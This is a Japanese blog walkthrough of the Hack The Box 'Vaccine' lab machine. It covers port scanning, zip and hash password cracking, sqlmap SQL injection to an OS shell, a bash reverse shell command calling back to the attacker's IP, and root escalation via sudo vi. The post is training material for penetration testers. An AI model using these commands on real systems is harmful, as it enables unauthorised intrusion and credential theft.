コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box入門】Vaccine 攻略ガイド(Starting Point)

はじめに

前回の「Oopsie」攻略に続き、今回は Hack The Box(HTB)の「Vaccine」ボックスを解説します。
このシリーズ「Starting Point」は、難易度が Very Easy(非常に簡単) に分類される9台のマシンで構成されており、順番に攻略していく形式になっています。
したがって、このVaccineを進めるためには「Oopsie」を完了していることが前提です。

免責事項
本記事では、HTBの規約に従い、user.txtおよびroot.txtの内容は非掲載です。実際に手順を進めて取得してください。

00. マシンの起動

まずは「Join Machine」をクリックしてマシンを起動します。

起動後、対象マシンのIPアドレスが表示されます。

VPNが正しく接続されているか確認するため、対象IPに対してpingを送信します。
ファイアウォール設定によってはICMPがブロックされることもありますが、通常は応答が返ります。

TTL値は63で、Linux系OSであると判断できます。

01. Enumeration(列挙)

01.1 ポートスキャンの実施

まずはNmapで全ポートをスキャンし、開放されているポートを確認します。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.46
  • -n:DNS解決を行わない
  • -vv:詳細出力
  • --open:開いているポートのみ表示
  • -p-:全ポートスキャン
  • -T4:高速スキャン

スキャンの結果、開放されているポートがいくつか確認されました。

01.2 Nmapスクリプトエンジンの実行

特定されたポートを対象に、Nmapスクリプトエンジンを利用して詳細情報を収集します。

nmap -sV -sC -oN DetailPorts.nmap -p 21,22,80 -Pn 10.10.10.46

結果を見ると、3つの主要ポート(FTP、SSH、HTTP)が開放されています。
SSHのバージョン情報から、このマシンは Ubuntu Eoan(19.10) 系であると推定できます。
HTTPポートでは「MegaCrop Login」というWebアプリケーションが動作していることも分かります。
まずはFTPの中身を確認しましょう。

01.3 FTPサービスの調査

前回のOopsieボックスで取得したFTP認証情報を使用します。

ftpuser : mc@F1l3ZilL4

ログインに成功しました。
ディレクトリを列挙すると、backup.zip というファイルを発見しました。

このファイルをダウンロードします。FTPでは get <ファイル名> コマンドで取得可能です。

ダウンロード後、unzip コマンドで解凍を試みます。
しかしパスワード保護がかかっており、直接は展開できません。

以前のパスワードを試しましたが、すべて失敗しました。
このため、ZIPファイルのパスワードをクラックする必要があります。
ここでは fcrackzip を利用します。

apt-get install fcrackzip

もし rockyou.txt を初めて使用する場合は、まず展開しておきます。

gunzip /usr/share/wordlists/rockyou.txt.gz

次に以下のコマンドでクラックを実行します。

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
  • -u:unzipを利用して不正なパスワードを除外
  • -D:辞書モードを使用
  • -p:パスワードファイルを指定

非常に高速にパスワードが特定されました。
このパスワードを使ってZIPを解凍します。

解凍すると、index.phpstyle.css の2つのファイルが含まれていました。
まずは index.php を確認します。

ソース冒頭には認証情報が記載されていますが、パスワードはMD5形式でハッシュ化されています。

ハッシュ解析は、オンラインの辞書サービスや、ローカルの辞書攻撃ツールを用いて行います。運用環境でのオンラインサービス利用は機密情報流出のリスクを伴うため、可能であればローカル環境で解析することを推奨します。

結果、非常に単純なパスワードが判明しました。

admin : qwerty789

01.4 HTTPポートの調査

次に、ポート80のWebサービス「MegaCrop Login」にアクセスし、先ほどの認証情報でログインします。

ログインに成功すると、サイト内には「search(検索)」機能のみが存在していました。
Burp Suiteを使ってリクエスト内容を確認します。

リクエストを分析した結果、SQLインジェクションの脆弱性が存在することが分かりました。

02. Foothold(初期アクセス)

02.1 SQLMapによる自動検査

脆弱性を検証するため、SQLMapを使用します。
GETパラメータsearch*を付け、Cookieに有効なセッション(PHPSESSID)を指定して実行します。

sqlmap http://10.10.10.46/dashboard.php?search=* --cookie PHPSESSID=3gl7g1ujsq2i3cpigk4521lk8p --dbs --batch
  • --dbs:データベース一覧を取得
  • --batch:自動モード(入力を省略)

出力を見ると、3つのデータベースが存在します。
それぞれのテーブルを列挙し、機密情報を抽出できます。

02.2 ユーザーシェルの取得

Vaccineボックスでは、次の2つの方法でシェルを取得できます。

  1. SQLMapの --os-shell オプションを使用
  2. データベースを列挙して資格情報を収集し、別経路から侵入

まずは1つ目の方法を試します。

sqlmap http://10.10.10.46/dashboard.php?search=* --cookie PHPSESSID=3gl7g1ujsq2i3cpigk4521lk8p --os-shell --batch

シェルが得られたら、リバースシェルにアップグレードします。
攻撃者側でポート4848をリッスンし、次のコマンドを実行します。

bash -c 'bash -i >& /dev/tcp/<YourIP>/4848 <&1' &

02.3 データベース列挙で資格情報を抽出

別の方法として、--passwords オプションを利用してデータベースに保存されている認証情報を一括取得します。

sqlmap http://10.10.10.46/dashboard.php?search=* --cookie PHPSESSID=3gl7g1ujsq2i3cpigk4521lk8p --batch --passwords

結果から、ユーザー postgres のMD5形式パスワードを発見しました。
ハッシュを削除して検索すると、以下の認証情報を得られます。

postgres : P@s5w0rd!

SSH接続を試みます。

しかし、このボックスには user.txt が存在せず、直接rootを取得する構成になっています。
次に権限昇格を行います。

03. Privilege Escalation(権限昇格)

まず、sudo権限で実行可能なコマンドを確認します。

sudo -l

出力結果から、以下のコマンドをsudoで実行できることが分かりました。

/bin/vi /etc/postgresql/11/main/pg_hba.conf

vi はシェルを呼び出すことができるため、エディタ内で以下を実行してrootシェルを取得します。

:! /bin/bash

これでroot権限が取得できました。
root.txt を確認して完了です。

まとめ

Vaccineボックスでは、以下の要素を学ぶことができます。

  • FTP経由での情報入手とパスワードクラック
  • Webアプリケーションからの資格情報漏えい分析
  • SQLインジェクションの自動検出とデータ抽出
  • SQLMapによるOSシェル獲得手法
  • Sudo権限を利用した権限昇格(viエディタ経由)

次のボックス「Shield」も同様に、基礎的な脆弱性を体系的に学ぶことができます。

注意:

  • 本記事の手順はHack The Box公式環境における学習・演習目的です。記載されているユーザー名・パスワード・IP等はすべて架空データであり、実システムへの同様の操作は法律で禁止されています。
  • 本記事で紹介した手法は、攻撃者視点を理解し、防御側の強化に役立てることを目的としています。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top